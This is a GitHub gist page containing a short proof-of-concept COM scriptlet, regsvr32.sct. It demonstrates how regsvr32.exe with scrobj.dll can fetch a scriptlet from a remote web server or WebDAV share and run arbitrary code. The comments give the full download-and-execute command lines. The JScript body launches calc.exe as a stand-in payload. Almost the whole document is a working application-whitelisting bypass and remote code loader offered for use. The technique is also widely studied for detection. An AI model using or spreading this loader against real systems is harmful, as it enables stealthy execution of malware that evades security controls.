Skip to content

Instantly share code, notes, and snippets.

@Arno0x

Arno0x/regsvr32.sct

Created November 17, 2017 16:52
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 11 You must be signed in to fork a gist
  • Save Arno0x/81a8b43ac386edb7b437fe1408b15da1 to your computer and use it in GitHub Desktop.
Save Arno0x/81a8b43ac386edb7b437fe1408b15da1 to your computer and use it in GitHub Desktop.
Download ZIP
A scriptlet that can be executed by regsvr32.exe for arbitrary code execution
Raw
regsvr32.sct
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment